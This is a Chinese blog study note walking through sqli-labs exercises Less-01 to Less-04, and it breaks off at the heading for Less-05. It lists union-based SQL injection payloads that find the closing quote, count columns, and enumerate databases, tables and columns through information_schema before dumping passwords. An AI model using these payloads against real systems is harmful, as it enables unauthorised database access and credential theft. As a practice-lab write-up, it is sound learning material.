sql注入笔记(二)

Focu4 / 2023-06-30 / 原文

sql-labs篇


union注入

# Less-01

1. 打开环境

3

2. 先查两个值看看

?id=1
?id=2

3. 判断是否存在注入,使用一些符号进行判断,利用错误信息

?id=2'

发现报错,语法错误,“syntax to use near "2" LIMT at line 1”,意思是在2附近有错误,也就是我们输入id=2' 的时候 与查询语句的闭合方式进行了拼接导致sql语法规则错误。

这关中sql查询语句是

SELECT * FROM user WHERE id='输入值'

 我们输入了值后sql查询语句就变成了

SELECT * FROM test WHERE id='2''

 因此报错,这里还有一个问题就是输入为2"的时候并不会报错,这是因为这是一个字符型注入,sql查询语句字符型的查询只会使用单引号,sql中只支持单引号。

可以用布尔型注入判断

1‘ and 1=1 %23   #不报错
1' and 1=2 %23   #报错
?id=1' order by 4 %23     #判断字段列数
?id=1' order by 3 %23       # 为三列
?id=-1' union select 1,2,3 #查看哪些数据可以回显
?id=-1' union select  1,user(),database() %23    #查看当前用户名和数据库名
?id=-1' union select 1,2,group_concat(schema_name) from infomation_schema.schemata %23 #查看所有数据库
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'     #查看对应数据库的表信息
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名'    #查看对应表的所有列信息
?id=-1' union select 1,2,group_concat(password) from 数据库名.表名    #查看数据

# Less-02

跟less1一样,先输入两个值进行测试,发现都能正常回显

?id=1
?id=2

输入符号 ' 进行测试,发现报错

使用布尔注入进行测试,and 1=1,发现还是报错,说明这是一个数字型注入,不用' 进行闭合。

 后面的步骤和less1一样

?id=1 order by 4 #不报错,但查询不到
?id=1 order by 3 #正常回显
?id=-1 union select 1,user(),database() #查询用户、数据库信息
#后面和less 1一样,爆数据库名,表名,列名,数据

# Less-03

?id=1' 

 使用转义符 \ 进行测试,发现是')闭合,确认闭合方式后,爆破流程和第一关一样。

# Less-04

“)闭合。


 

Boolean注入

# Less-05